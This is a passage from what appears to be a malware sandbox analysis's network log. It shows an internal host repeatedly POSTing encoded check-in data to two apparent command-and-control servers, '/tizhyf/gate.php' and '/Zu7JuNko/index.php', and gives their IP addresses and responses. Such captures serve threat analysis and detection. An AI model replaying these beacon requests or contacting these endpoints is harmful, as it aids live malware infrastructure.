Dec 14, 2024 14:57:59.965224981 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:00.085406065 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:01.624330044 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	50232	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:00.177433014 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:01.603498936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	50235	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:01.854032040 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:01.995074987 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:03.517828941 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	50236	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:03.351459980 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:04.682743073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	50237	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:03.747607946 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:03.868628025 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:05.373616934 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	50239	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:05.623547077 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:05.745352983 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:07.420841932 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	50240	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:06.334023952 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:07.665530920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	50241	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:07.684849024 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:07.823344946 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:09.208415985 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	50242	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:09.450767040 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:09.571626902 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:11.146908998 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	50243	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:09.585707903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:10.926708937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	50246	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:11.385340929 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:11.505932093 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:12.900399923 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	50251	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:12.633728027 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:13.963947058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	50252	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:13.179601908 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:13.301517963 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:14.907937050 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	50253	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:15.153850079 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:15.274230957 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:16.825378895 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	50254	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:15.848536968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:17.181905031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	50255	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:17.068511963 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:17.192578077 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:18.552670002 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	50256	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:18.783992052 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:18.922969103 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:20.407223940 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	50257	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:18.888931990 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:20.229219913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	50258	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:20.638545990 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:20.778256893 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:22.307478905 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50259	82.64.156.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:20.939958096 CET	95	OUT	Data Raw: 16 03 01 00 5a 01 00 00 56 03 01 67 5d 8e fc 62 8c 5c 98 47 27 29 e1 b2 1a 41 89 20 23 85 39 40 ce f0 a4 9c c9 73 c6 e6 fb fc d6 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 1f 00 0a 00 08 00 06 00 1d 00 17 00 18 00 0b 00 02 01 00 Data Ascii: ZVg]b\G')A #9@s5/#

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50260	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:22.060781002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:23.401478052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50261	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:22.555269957 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:22.696006060 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:24.037062883 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50262	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:24.286150932 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:24.407272100 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:25.953897953 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50263	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:25.163022041 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:26.498521090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	50264	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:26.221780062 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:26.342430115 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:27.810831070 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	50265	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:28.056113005 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:28.176862955 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:29.732568979 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	50266	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:28.327361107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:29.655725002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50267	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:29.980145931 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:30.103662014 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:31.667574883 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50268	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:31.379333973 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
